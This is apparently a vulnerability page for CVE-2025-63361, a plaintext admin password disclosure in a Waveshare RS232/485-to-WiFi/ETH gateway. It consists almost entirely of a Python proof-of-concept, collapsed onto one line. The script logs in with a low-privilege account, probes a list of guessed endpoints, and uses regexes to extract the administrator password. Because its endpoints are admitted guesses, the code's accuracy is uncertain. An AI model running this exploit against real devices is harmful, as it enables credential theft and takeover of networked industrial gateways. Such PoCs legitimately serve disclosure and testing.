CVE-2025-63361: Waveshare RS232/485 TO WIFI ETH网关管理员密码明文泄露漏洞

import requests import re # CVE-2025-63361 PoC - Waveshare Gateway Admin Password Disclosure # Target: Waveshare RS232/485 TO WIFI ETH (B) Gateway # Firmware: V3.1.1.0, HW: 4.3.2.1, Webpage: V7.04T.07.002880.0301 TARGET_IP = "192.168.1.100" # Target device IP USERNAME = "low_priv_user" # Low privilege user PASSWORD = "user_password" def exploit_admin_password_disclosure(): """ Exploit for CVE-2025-63361: Admin password disclosure in plaintext This PoC demonstrates how a low-privilege user can view admin password """ base_url = f"http://{TARGET_IP}" # Step 1: Login with low privilege account session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(f"{base_url}/login", data=login_data) if response.status_code != 200: print("[-] Login failed") return None print("[+] Logged in with low privilege account") # Step 2: Access admin/user management page to retrieve plaintext password # Common endpoints that may expose admin credentials endpoints = [ "/admin/user_config", "/system/user_management", "/cgi-bin/admin/user_list", "/api/v1/users", "/cgi-bin/get_admin_info" ] admin_password = None for endpoint in endpoints: response = session.get(f"{base_url}{endpoint}") # Search for plaintext password patterns in response password_patterns = [ r'password["\']?\s*[:=]\s*["\']([^"\'\s]+)["\']', r'admin_password["\']?\s*[:=]\s*["\']([^"\'\s]+)["\']', r'pwd["\']?\s*[:=]\s*["\']([^"\'\s]+)["\']', r'value=["\']([^"\'\s]{6,32})["\'][^>]*type=["\']password["\']' ] for pattern in password_patterns: matches = re.findall(pattern, response.text, re.IGNORECASE) if matches: admin_password = matches[0] print(f"[+] Found admin password at {endpoint}: {admin_password}") return admin_password print("[-] Admin password not found in common endpoints") return None if __name__ == "__main__": print("CVE-2025-63361 PoC - Waveshare Gateway Password Disclosure") print("=" * 60) exploit_admin_password_disclosure()